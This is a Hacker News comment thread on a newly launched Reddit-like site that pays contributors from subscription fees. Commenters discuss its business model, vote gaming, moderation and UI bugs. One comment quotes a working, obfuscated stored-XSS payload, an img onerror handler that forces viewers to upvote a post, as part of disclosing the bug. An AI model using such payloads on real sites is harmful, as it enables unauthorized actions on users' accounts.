And while reddit has tried to make freemium work, I'm pretty sure it has never worked and their real business model is ad based. Advertisements are a centuries old model that has proven to work well, I encourage you to switch to that (and on your API, make it a requirement to show ads).
Also don't allow people to remove the ads by paying - you need to show ads to people with enough money to buy the stuff you're advertising. Exclusively showings ads to poor people does not work. Just make sure your ads aren't annoying.
It's your site, you can do what you want with it, but it won't be like reddit with your proposed business model.
Also, I think a lot of long time users contribute a lot of value in the way of: helpful comments, upvotes, downvotes, spam reports, tech support, etc and they're not recognized for the value that they add. I'm happy to see that your product has the opportunity to recognize that and hopefully that will be enabled in the future.
I foresee some company suing because their content is being monetised by other people.
> "[your subscription fee over my $1 take] gets split evenly between everything you upvote that month."
So if I subscribe and pay $2/month, there's $1/month from me for that, so if I upvote ten things they each get $0.03 from me and if I upvote a ten things a day that's three hundred in a month, they each get $0.0033 from me.
I'm not clear if that covers comments or only top level submissions / posts, but if I comment and get upvoted ten times in a month, presumably I get some money from the upvoters, like $0.03. There are times I've spent well over an hour writing programming comments on Reddit, testing code or trying to explain a concept, things that could have been a blog post. Getting nothing for it is fine, that was the deal. Getting $0.03 for it is more like tipping a waitress a penny, I think. Getting $10 would need into the thousands of votes (which rarely happens on Reddit comments by comparison) and still wouldn't pay for my time wtiting it by minimum wage.
...to you. Not to reddit themselves in virtually all cases. Maybe 1% browses through seven proxies but if the 99% is okay with "public anonymity", it'll work for the masses so long as you don't show everyone's payment details on their profile pages.
(Whether excluding this particular 1% desirable, is a different question.)
Also, I'm mainly on sites like Reddit for the discussion, so those people creating millions of comments in communities are the main draw for me. Finding the perfect karma model was never the solution, we only ever needed one that was "good enough". And that's actually very easy, provided you aren't trying to frankenstein the algo-feed to serve advertisers.
On the contributor side:
- Visual style guides require much more time and skill to create (relative to style guides for code) and still generally fail to achieve anywhere near the aesthetic unity of a single great designer with total control.
- If you commoditize your design elements to the point where it is easy to contribute them, then it is no more difficult to do it yourself to begin with.
- Delegation of design work still requires that you funnel it somewhere to be judged on qualitative measures, rather than the pass/fail nature of code
Generally the best you can do is collaborate very, very tightly and then funnel it through a single person in the end anyway a la Python's BDFL in a very trial and error fashion.
On the contributor side:
- Visual style guides require much more time and skill to create (relative to style guides for code) and still generally fail to achieve anywhere near the aesthetic unity of a single great designer with total control.
- If you commoditize your design elements to the point where it is easy to contribute them, then it is no more difficult to do it yourself to begin with.
- Delegation of design work still requires that you funnel it somewhere to be judged on qualitative measures, rather than the pass/fail nature of code
Generally the best you can do is collaborate very, very tightly and then funnel it through a single person in the end anyway a la Python's BDFL in a very trial and error fashion.
Besides, there are many routes to profitability here that have absolutely nothing to do with replicating all of Reddit's value for a user. Presuming this needs to be a 1:1 clone of Reddit seems needlessly reductive.
I was not able to create an account. (I had to go desktop)
I mostly lurk reddit / read.
But understanding its balance between sustainability and popularity, is there a lower bound to free that can ensure the content is posted to seo the space popular?
1-3 free submissions per month would be enough for me.but if I started a sub (which I’ve considered a few times) I’d see enough value to pay.
Love the idea. Good luck. The timing is great. The audience is ready for a new model.
Regular users can upvote 100 cat pictures for their dopamine hit, and when they find an ACTUALLY VALUABLE post they can look for the small button.
Does reddit really need, hr, middle managers, sales, marketing, design teams. It wouldn't if it had a focused goal. Now it has all sorts of crap and extra features to try be profitable.
The more you donate, the more upvotes you get ($5 per month would give you 400 votes).
The registration kept failing with no indication as to why, just a red X on the button. I finally figured out that it simply didn't like my email address, trying a different one worked.
Then I tried to change my profile picture. That was failing completely silently; I guess .PNG files aren't excepted? I tried the same avatars that I use on every other site without issue. I did try a random .JPG, and that worked.
Opening the videos tab, none of the posts show the video, clicking on them doesn't expand anything, and the text isn't aligning, some of them randomly have the title in the center of the bar. I can't even figure out how to view the video.
This is on Firefox, latest version, no extensions.
EDIT: On further exploration, the submission description box has a bug. The first letter I wanted to type somehow got stuck as the last letter, and there was no way to delete/move it. "y description looked like this.M"
I think this only works if you throttle votes (and assumedly, this only applies to voted on posts, not necessarily every comment), but that was one of the worst parts of Voat (from a technical standpoint, at least). There probably needs to be normal old infinite "I like this" votes and then treat your subscription votes as a form of gilding (except it actually does help pay someone, unlike reddit's gilding).
You can also propose that you do let non-subscribers vote, but a subscriber vote weighs more. Be it explicit* or not.
*(e.g. hover over votes and you see a split of which are "subsciber votes. Which say, counts as 5 votes or something. so A 30 point post with 2 subs votes = 20 normal voters + 2 subs)
That's not to say that a financial incentive is a bad idea, though. If you capped the amount that a user made per month to the cost of their subscription - $1, then there's no profit for users to make. They're just saving money on the subscription cost.
The basic incentive of money drives all sorts of things. Maybe the best “exploit” will be to find interesting and novel links.
* How do I post a link. I just want to post a damn link. Images, audio, blogs not no link option... The page I'm trying to post already has meta tags with a the description and thumbnail so I want you to suck that content down.
* So whatever I posted an 'image' with a link in the content. The link didn't actually turn into an <a href>
* I clicked on some post and a video started playing WITH SOUND!
* The financials page says I have over $800 in my wallet. Lol OKAY let's go!
* I connect my stripe only to find that it won't work for non-US people.
* I guess I'll just cancel now but the cancel sub button is broken.
Show HN: FlingUp, a Reddit-like platform Ive been building for the last 2 years (https://flingup.com)
Ofc there are determined and financuially comfortable trolls out there that would still make a few dozen, but those few are easier to stamp out without the noise of low effort trolls.
>if there is monetary incentive to get upvotes/attention seems like it could pencil out
worst case, it helps pay for the server. But yes, this is the equivalent of a KS campaign being partially self-funded to make it seem like others are interested. There are likely dozens of other tricks that such a community would reveal.
I know you just launched, so you're probably thinking about this already, but from what I've seen in the loginless browsing link, discoverability is nothing like reddit. It just feels like an unorganized dump of content, like I accidentally opened a link to a spam blog, or opened the "federated" tab on a mastodon server.
If I was looking to join a community, I wouldn't know where to start. I see tags under random posts, but it seems like some posts don't have tags, and I can even add tags to other peoples' posts myself. It all seems too fluid and ephemeral, and I have to spend too much time trying to connect stuff together in my head. By contrast, it's obvious how a subreddit works to most people, and it's easy to find the content you're interested in.
That way you can interact with the site and upvote shitty memes as you normally would, but when it is time to be serious you'll using the paying-upvote instead.
Reddit kinda landes on a similar formula with Reddit gold.
I wouldn’t want to see someone else profiting off my content.
I’m guessing you’d place a hold on any payout, until you’ve reviewed their content? But I’m thinking about the claims / reporting process.
- $1 goes to the server
- $.67 goes to the users you upvote
- $.33 goes to the moderator(s) of the group you upvoted in.
So there's actual incentive to want to mod to begin with, and less incentive to risk that by trying to game for post votes as well.
Now ofc I already see a half dozen issues here, so we'd need to deviate strongly from reddit to make this work:
- you can't just create subs willy-nilly. You don't even want that in the beginning anyway because you shouldn't splinter a small community. There would need to be a formal way to talk to an admin and request any new sub. Or at least, we need to delineate from a monetized sub vs. non-monetized, with ways to transition from one to the other.
- This encourages small mod groups and you don't want mods to be able to pick/kick at will now that money is involved. Again, new mods would need some more admin intervention for moderator changes.
- As you can assume, A senior mod won't be equal to a newly recruited mod. So it probably isn't the best idea to spread that mod fund equally per se.
- Mod posts would need to be taken into account as well. Maybe moderators (and possible alts) can't make money off their own posts to avoid double dipping
Lot of interesting ideas to go about. So I hope this site does at least get some visibility
My big issues with iframes is the checkout process which inevitably has to make callbacks to your api with the results of the transaction. If you're behind any sort of firewall (like most businesses are) you're in for a world of http pain.
So basically what already happens with reddit/twitter/etc but amplified because you give them a direct financial incentive to upvote low effort crap.
from my experience, there will be a LOT more ne'er do wells being filtered than good users. Not because there aren't a lot of good users, but simply because there are a lot more low effort ne'er do wells attracted to internet forums.
Other users can still browse at the very least. I think this will capture that nice medium of "good user who doesn't mind a little incentive". Because ofc the highest quality users aren't posting their ideas on public forums at all
I had to retry with my dev tools open to see that the response code from the request triggered by clicking Create Account contained a message about username, e-mail, and password being required.
This error was presented even though I had all fields with valid data, and I was unable to create an account until I manually edited both password fields, which I had not dirtied myself previously.
This is exactly what I have been pondering recently about maintaining a website with useful content not prone to some of the problems we are seeing from all of the "free to interact" websites. Only serious contributors would pay for the ability to aggregate and interact with a community.
Thank you for your work on this, will be looking into this further.
I do bug bounty in my spare time so this was an interesting live find.
I’ll likely add checks for an index.html for any upload and turn off indexing in the future to prevent these.
They are transmitted raw (also: not minified, but that'd be more acceptable if you gzipped them) and also they are returning Accept-Ranges header. That's IMO not a sensible default; they are not big resources supposed to be downloaded with retries - they are needed as a whole, in a fastest way possible. Gzipping them will shorten the page load - which is actually quite good already - congrats for that!
I still have pressures however. Using Stripe and credit cards for payment processing means I have to ensure the sites primary purpose isn’t adult content, as if that content dominates its very likely Stripe will choose to no longer do business with me. I can still support it, but it can’t be the primary purpose.
You haven't been working on it for 4 years, you started it 4 years ago, have made disconnected updates here and there since, and are releasing a pre-alpha to capitalize on the Reddit story.
1. Using '#' in URLs is not great.
- When requesting a page, the browser doesn't include anything after the hash, which means:
- Tag pages rely solely on client-side routing — they'll never work with JS disabled. You might not support no-JS right now, but if you ever want to allow for it in the future, it's incompatible with hash-based routing.
- SEO will probably be impacted; not sure how well crawlers deal with hash-based routing.
- If someone links to non.io/#dog on social media, I think the opengraph preview will also ignore the hash.
2. Putting user-generated URLs at the root of your site could be bad.
- Keep that namespace for yourself: what if you want to make a page at non.io/support but someone already named their post 'support'?
- Some stuff needs to be at the root (currently non.io/robots.txt 404s and seems to be trying to render a post).
- There are other standards that look for specific URLs, or non-standards: e.g. BlueSky was authenticating domain names in a dumb way [1]
If you do decide to make these changes, you should try and set up redirects for any existing URLs, at least for a while.
[0] https://developer.mozilla.org/en-US/docs/Web/API/History
[1] >>35820368
It’s not how anyone would actively choose to create a network now, knowing what we know about how often people abuse power online.
I tried browsing, but the top post is a photo of Hitler with the title “A man who did nothing wrong” and several upvotes.
I'd be willing to wager a good chunk of people don't care who runs their platforms so long as they can talk to the majority of their friends / see large swathes for new content / etc. - see Facebook, for example.
I’m not saying this needs to be a clone of Reddit; I don’t think I implied that, or intended to at least.
I wish the UI was more basic. All the work to create fancy UIs just makes them worse. Just clone old Reddit and stop there, it was nearly perfect.
Danbooru even has community sourced translations overlaid to pictures.
When looking at #all, there doesn't appear to be any way to register or login without removing that from the URL and going to the splash screen.
It's not clear what posts are videos, and when I clicked one that happened to be, having it auto-play with sound is terrible.
(And, when Reddit was launched it was the era of the single core Pentium 4; storage and compute and bandwidth were expensive. Now they aren't. Store Reddit comments in a compressed file, they fit on a $50 SSD).
Or maybe move test accounts to a separate instance?
If there are 100K upvotes per month in some small city sub, and 100B in the videos sub, getting 1K upvotes in the city sub would would be the equivalent of 1B in the videos sub (in terms of your distribution)
This would encourage people to participate in smaller communities, which could be really nice for keeping the "small town" vibe of early reddit.
Even if they boost their own post a bit for it to get the attention of others, they're still paying $2 per upvote for that. And if their post is no good, people might even just cancel those out with downvotes.
Can it just open to the front page of articles in view mode instead of first signing up?
That would be a little more like Reddit.
Your grandmother cooks an amazing dinner each Thanksgiving, for nothing but your love and thanks.
If at the end of the meal you said, “Great dinner, Gran, here’s for your trouble,” and handed her a $20, how do you think she’d react?
Is it possible to create opt-in communities that do not appear on the frontpage by default? This is required for minority communities to thrive.
The $2/month fee sounds quite reasonable to me, but I don't plan to pay for a service where I have to kowtow to leftist political activists like the ones that rule reddit.
You've missed over 900 commits. Oops. :)
For anyone not aware, read about r/blind here: https://twitter.com/rumster/status/1668004686610178048
But from what I can see it’s a landing page; I would need to see conversation and links right away.
I think the problem with karma/reputation systems is that the source of karma are fungible - anyone's upvote has the same effect on the reputation. And this makes it gameable.
A personalized system can solve this by replacing global reputation with user-to-user trust. Now it matters who upvoted - a random bot or a user whose past contributions have been useful to you.
I think it's fine if you realize that the value lies in the community, not the platform itself. Online communities used to cluster around the 31 flavors of forum/web BBS, so if you have interesting topics to build a small community around your software may flourish based on those.
But this does suggest that it would be different to comment on a board like this. People wouldn’t just be making comments for the joy of discussion, they would be making comments with their hands out for a tip.
I think this incentivizes low investment drive-by comments, but perhaps this could be fixed as well. For example, you don’t have to display the actual upvotes/downvotes score of a comment, you can display and sort by a score which is a function of those things and additional information about the quality of that comment, incentivizing comments which are both popular and insightful.
also, when I watched a video, no video controls appeared until the video ended and then they didn't work anyways.
That's assuming the site lets 10K+ users sign up and pay with crypto, or you have the time to track down and signup for 10K prepaid burner cards. Then, after allo that, you'd have to hope that the site never detects the vote manipulation, since you'd have an account that's getting tons of upvotes from a specific set of users.
Really.. I think this is the worst idea for laundering money I've ever heard of. You'd be better off walking into a casino and putting it all on blackjack until you win a big hand, then reporting the winnings.
It seems counterintuitive to restrict users interacting with your platform, but I could also see it working the other way (I want to login and use my daily allowance instead of losing it).
Arthur: (uninterested) Yes...
Man: But all the decisions of that officer 'ave to be ratified at a special bi-weekly meeting--
Arthur: (perturbed) Yes I see!
Man: By a simple majority, in the case of purely internal affairs--
Arthur: (mad) Be quiet!
Man: But by a two-thirds majority, in the case of more major--
Arthur: (very angry) Be quiet! I order you to be quiet!
When reddit launched they used fake accounts to create posts and engagement and avoid empty-site syndrome, not saying you should/could do that with an AI.
Do they? I sure don't. In fact VC involvement is just about the last thing I want out of anything I consider critical infrastructure...
The fundamental problem is lock-in.
Once a site becomes big enough, its "users" effectively become owned by the site, because everything they care about is there, and the site controls access to it. Preventing another Reddit/Tumblr/Digg disaster entails solving this problem.
And with all due respect for the work you did on Non.io, I fail to see how it represents even the tiniest amount of progress in that regard. Notably, the payment model does not solve the problem, because if the site ever takes off, the temptation to milk the userbase for all they can give will become irresistible. And that means ads, dark patterns, blocking of third-party clients, censorship to appease advertisers and the mainstream press, etc. And then we're back to zero.
I think it's up to him to decide whether that time had value or not.
I would definitely not pay money to a site that wanted to show me ads, regardless of my preferences, as a subscription member. Full stop.
But if not, and if memes are what subscribers want to use all their votes on, well... the experiment fails in my eyes (even if it may be a success as a business).
That's also why I feel we need at least two tiers of votes, personally. There will be times where you want to vote on a cheap but funny meme but you don't exactly want to say "yes, this is the content I pay for". A version of vote that says "I don't mind it but obviously you shouldn't make money on this" may help curb that as more of the super votes go to actual quality content. But nothing is bullet proof when you let the people decide.
Im pretty sure this is how Reddit and many popular sites started. Fake it before you make it! Without interesting content you DOA.
so how do you feel about HN personally?
>If that means low effort meme posts, who are you to slap those dollars out of his hand?
If so, congrats. I'll keep searching and be glad some rags to riches site came about in a time of multibillion dollar empires.
>these sites are for entertainment not elucidation and discovery.
put it this way. I've been on the internet for decades, and I know that to really find quality content you gotta either pay for it in money behind a paywall, or in a lot of time digging through the muck. I have done both.
I'm not going to pretend there won't be a lot of muck to dig through here, even with the idea of a paid subscription site. But the goal here is that there will be enough nuggets underneath to make it worth it. And currently, that line is pretty low given what I dig through reddit to find.
You already did open up your content, but personally I'd lead with that. Make lurking free and any interaction part of the subscription. This would include posting content, as it does remove the most blatant spam and gaming of the system.
Having said that, while I do think it is commendable that you want to reward the people that provide content, I am not sure if you should do so based on votes. Because that will just make it so people will try to game the system with clickbait and fluff content.
As we are on HN anyway:
"The Fluff Principle: on a user-voted news site, the links that are easiest to judge will take over unless you take specific measures to prevent it."
Source: Article by Paul Graham (the guy that started HN and funded reddit way back in the day) http://www.paulgraham.com/hackernews.html.
What this means is basically the following, say you have two submissions:
1. An article - takes a few minutes to judge. 2. An image - takes a few seconds to judge.
So in the time that it takes person A to read and judge he article person B, C, D, E en F already saw the image and made their judgement. So basically images will rise to the top not because they are more popular, but simply because it takes less time to vote on them so they gather votes faster.
Some things out the top of my head you can do to mitigate this are:
- Don't tie it to voting, make it a different action people have to explicitly give. Basically reddit gold, but then still with the monetary reward tied to it. - In addition to that, don't make it an infinite resource people but a monthly budget people can spend (this might already be the case? I didn't check too closely) - Technically a bit more challenging, but if you could tie it to engagement time in addition to votes it would mitigate the fluff content issue somewhat. Some metrics you might be able to use are time spend in comments, time between clicking on an outbound link and voting (don't count votes with no outbound interaction either), etc.
As a seperate thought, I am not sure if there are liability issues when you reward posted content with money. Not all posted content will be owned by the person posting it, but they are effectively being paid for it. So that might make you as a platform more liable for copyright claims and such. Not a lawyer though, just something I thought of.
However, the current top post is NSFW and the preview is rendering in the timeline, that would be something to change so folks can safely browse on the job.
Do you think can you remove the css animations when loading any page? It's a bit annoying to see the fading in at each load.
In that system how do you create a ranked list of content for a user to browse? Isn't it going to be very heavy on processing demand?
The key factor is that people who have a sense of belonging or ownership will donate their time and expertise. People on /r/AskHistorians go to extreme lengths to provide ultra-high-quality answers for free because that's what it takes to be part of that community. The one time I felt like I actually had something to contribute I started my comment (a reply to another comment, there's zero chance I'll ever be qualified to provide a top-level response) with "It's an amazing day, I actually have something to contribute here!" And many people start their comments that way.
A paid environment -- especially one where the compensation is likely to be trivially small -- is far less likely to engender that sort of participation and support.
That said, yes you may still get a "network effect" from not enough people registering/using the app. But hey, I applaud the attempt and hopefully it will get some users/traction.
Last question I would have is: how does it compare/contrast/integrate with other, possibly federated, social services such as Mastodon?
It makes me think, what if the upvote counter was the same, i.e. you have only one upvote per month, and it gets split between all upvoted posts. And maybe it would be nice if you could accumulate your upvotes over several months...
Here are some of the lazy thinker comments:
- If there's money involved, things go askew!!
Yes, well look: Google, FB, "open"AI etc. etc. What's new? The difference is this is a new approach and could potentially work.
- You make me sign up without showing me the stuff?! The gall..
Sigh...
- It's not pixel perfect on my special unique Moto-galaxy-iphone!
Really? You realize it's in the process of being made right? Soft launch it says. Recall how shit ChatGPT UI was, and it's not significantly improved since.
I don't think that's true. I published some of my privat projects only on reddit because I want to put them out there, but do not expect people to interact too much.
Furthermore, each comment under a post can earn by being upvoted.
> This would encourage people to participate in smaller communities, which could be really nice for keeping the "small town" vibe of early reddit.
Couldn't it also cause a fragmentation of content across different same-ish subs ?
Otherwise you will get an endless scroll of doom/memes page with everything dumped there, and we already have tons of networks in such format - facebook, twitter etc.
In a way Reddit did distinguish their usual "this content is better than the one below" upvote with "this is amazing content" by giving Reddit gold. A similar system could be used here. One thing that made Reddit great was that since people up (and maybe more importantly) downvoted content good stuff would float to the top. It would be pretty bad if upvotes where too meaningful as that would drive away engagement.
Seems it's not allowed to simply return "Nothing found" anymore. I don't want blackbox algorithms serving me stuff it thinks I want.
I like the design. I like the domain. I don't understand grouping of content at all. People want siloed communities. If this is just tags, I'm not interested. Twitter had that and it was a nightmare.
EDIT: also, yeah. Parroting other answers. non.io should take me directly to content. I went there to take a look as I got home and it's... a marketing page, with no information (at least, from a cursory glance) as to how to get to the content.
Wouldn't it be highly coincidental if the Top posts contain a solution to your specific problem.
This is also why styling such forms is always some species of wonky.
RE: Landing Page. Keep the marketing side, after all you've a paid Model. I'd split the Landing Page on non-mobile devices:
----33% Marketing ----|----66% Endless FEDD----|
Could hide Marketing pane after some time / or button.
RE: Paid Subscription. Re-think the model you've got, won't scale (direct wealth-distribution by vote) as it's presented (e.g tipping creators by vote: could be done/seeded by Agents/Affiliates etc), unless I'm missing a twist to this.
You've done the right thing to not accept money atm (while you iron out platform/user issues)
No, tens of thousands.
Nation state actors have troll armies, and $2 extra per astro turfing account would be coffee money compared to the salaries they already pay their trolls.
Websearch for 50 cent army
Alternatively you could base it on the number of upvotes a user gave last month, before correcting it at the end of the month, although that system might be easy to game.
What's that worth for, say Xi in China - look at how much he is ok with spending on invading Taiwan. And how much he'd save, if a to him a more friendly person (Trump) became the president. Then compare that with $2
This is more computationally intensive than sorting by the raw number of upvotes or weight upvotes by karma/popularity.
But I think this is a useful computation - the user can be more confident that the content they is is not astroturfed and comes from trustworthy users.
Details of how trust is calculated: https://linklonk.com/item/3292763817660940288
Screenshot of the alert (imgur marked it as nsfw because it includes a thumbnail of a post that is mildly nsfw): https://imgur.com/a/TmwO1jg
The likely culprit: https://imgur.com/a/rJrLxfn
How about said hook being? "absence of dark patterns" .. which is possible because of stable funding, so there's no enshittification dynamic needed to make money.
The people who like memes are a lot easier to make money off of than you, and as much as people pretend to hare money, it’s the way we survive in this world.
The current top post uses this XSS to have users upvote it:
<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">
Which sends a POST request to `posttag/add-vote` for the post labeled `x`
Those iFrames cause all kinds of headaches when the user hits the back button or double clicks a submit button or does any number of other things that happen thousands of times a day on a moderately high traffic site, and when it messes up you either miss out on a sale (ouch) or charge the customer twice (double ouch).
This idea more or less surfaces in the book "Fall; or, Dodge in Hell", where in the not-too-distant future the internet is so polluted that you are pretty much expected to hire a full-time "editor" to curate your social media feed. This doesn't scale particularly well, of course, so in reality particularly wealthy families hire an editor to present a cohesive stream of social media to their whole family-tree. Meanwhile the masses typically subscribe to an "off the shelf" stream (or several?) that most closely matches their tastes.
Also lesswrong is a cesspool of pseudointellectual bullshit. Eliezer Yudkowsky's ideas don't stand up to reality on average, and the people who "follow" him tend not to understand the relationship between methods of thinking about the world and methods of predicting how the world will behave.
If it helps, I'm on Edge v.114.0.1823.43, Windows 10.
Great concept though, I like the idea of subscription money going to popular content creators but worry this simply encourages lazy posting of popular meme content, basically a monetised karma farm. The capitalists that we are, many will find a way to optimise post engagement against the algorithm and many will be pursuing hard cash rather than social interaction.
They usually don't tell you they do. For example, both Stripe and Square use iFrames; otherwise it's not possible to hide credit card entry from your main application.
There are gateways that redirect you away and return you back after payment, but that's a whole another story.
In a 50 army, one individual can be paid a third world wage to register free accounts all day long to post comments. The cost of $2 per comment would massively outweigh their wages.
instead do unimaginative, stupid and ugly design. Reddit will shut down old.reddit within the next 16 months and when that happens there will be a gap in the market to grab the most dedicated of reddit's audience with something that looks as ugly but works as great as old.reddit does.
hence why a website that is not attempting to sell ads to me but has a sound monetization scheme is appealing. Not that I mind a site that uses ads (I have adblock but I wouldn't mind subscribing to something of value to get rid of ads), but one trying to rely on "non-desirable monetization" may have less memes in such a community.
I can certainly be wrong, but again: it's an interesting experiment I wouldn't mind trying out.
Not saying your project isn't high quality, but generally the most consistent stream of high quality projects has someone paying for them.
But sure, maybe it's better to set a floor for monetization, similar to how a YT channel needs 1000 subs to start being monetized. It's not valuable nor enticing for every user who posts something with 10 votes to collect 10 cents. Someone else did mention something about a $50 minimal withdrawal.
Also look at how the current and past generations of forums grew up. Lots of time it was their site owner linking to the content on whatever site they are on...
Tens of thousands of credit cards or phone numbers or whatever - why not, do you think that would be a problem for such a nation state actor
No, for privat projects I am mostly reinventing wheels. But, in some sense, I actually pitched them collectively during my job hunt.
My interests are spread pretty far, so my hobby projects range from building ambisonic microphones over reimplementing interesting algorithms like WFC to implementing Navient Stokes equations in JAX to optimize airfoils in a differentiable CFD simulator.
My new job reflects that, I am pretty happy with that :-)
You miss the point. A 50 cent army is feasible when you are paying third world wages. If Chinese wage increases price them out of the market, then you can just hire people from somewhere else. But it's the low wages that make such an attack possible. Low wages vs high wages don't matter much when you are spending $200/hr per soldier on Reddit account fees.
If China wants to launch a state-level attack on Reddit they are probably better off pressuring Tencent to pressure Reddit to just do what they want.
My current stance is to be a moderation centrist rather than an extremist. There are sharks in the waters of both unmoderated content and overmoderated content. What I'll optimize for is what will facilitate the health of the platform overall. In my eyes things like hate speech, science/holocaust denial, etc, aren't healthy for a platform. I'll almost certainly make errors along the way, like every platform does. While I believe my financial model is new and innovative, I don't have something similar for moderation. I'll be using similar tools as others, so I'll value any input anyone has here.
Wish you all the best from Australia!
I don't think it's a good guess,
nevertheless, for 10 000 people, it's nothing, it's coffee money for the CCP.
Interesting anyway to have heard your thoughts. Have a nice day (probably won't reply any more)
Many of the richest people in the world are also the worst kind of people.
You will not see diverse content being upvoted with this model and you will encourage rampant corruption (ie Trump campaign being upvoted using right wing corporate funds/"donations" to promote it).